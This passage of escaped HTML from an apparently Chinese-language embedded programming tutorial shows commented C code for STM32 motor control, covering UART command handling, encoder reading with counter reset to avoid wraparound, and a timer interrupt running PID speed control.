class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设置目标速度和目标位置。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 根据模式调用MoTo函数执行相应的操作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// MoTo 函数定义时要把屏幕传过来的 (0/1) 和 真实转动的对应正确\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 启动定时器,这样其他的中断才会发生。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果速度或圈数为零,就说明要停下电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 调用MoTo函数执行刹停电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数(防止下次启动时有上次残留的值) 并且 停止定时器。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART发送中断,以便后续可以发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART接收中断,以便继续接收数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清空UART的数据寄存器,以确保不会因为残留数据而触发接收中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_FLUSH_DRREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除UART接收缓冲区非空标志位,以确保下一次接收可以正常触发中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_FLAG_RXNE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"固定时间间隔的-中断控制\"\u003e固定时间间隔的 中断控制\u003c/h5\u003e\n\u003cp\u003e之所以要新开一个 tim, 固定时间的读取encoder并设定pwm, 是为了\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eencoder读出的实际可以理解为转动的总距离, 只有时间间隔固定, 我们才能将固定时间的 转动距离差 当作 速度来用\u003c/li\u003e\n\u003cli\u003e防止过快的设置pwm, 别把电机玩坏了(\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里读取encoder有一个坑\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 由于这个encoder是一直累加(或减,取决于电机正反转)的, 它累加到最大值(减到0) 就自动重置了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 因此你上一次读的数 不一定比 这次读的数大, 这样一算差值, 就可能出现一个极其大的负值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 为了防止这种情况, 我们就需要把这个 tim 的读数一开始(main里面就设置了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 就设定到一个 中间数值(0和最大之间), 并且 每次读完之后都把它设定回去\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这样就能保证每次都得到一个 计算正确的 值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_TIM_GET_COUNTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e-=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里因为电机 正传反转 有一种情况是累加,一种是累减, 所以有正有负\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 但是计算pid并设置pwm都是正值, 所以返回绝对值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 固定时间间隔的 中断控制, 每0.1秒多执行一次\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PeriodElapsedCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 读取实际转速(相当于转速)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 转速累和相当于总距离(实际上转速使用这个总距离做差才算出来的,前面已经解释过了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 每次先判断是不是已经到了设定的要转的总距离, 如果是, 刹车关定时器重置相关参数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 停止计时器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 用PID算法计算出要设定的pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里串口输出一下调试信息,方便查看\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;target: %d, real: %d, set: %d\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设定pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eSet_Pwm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 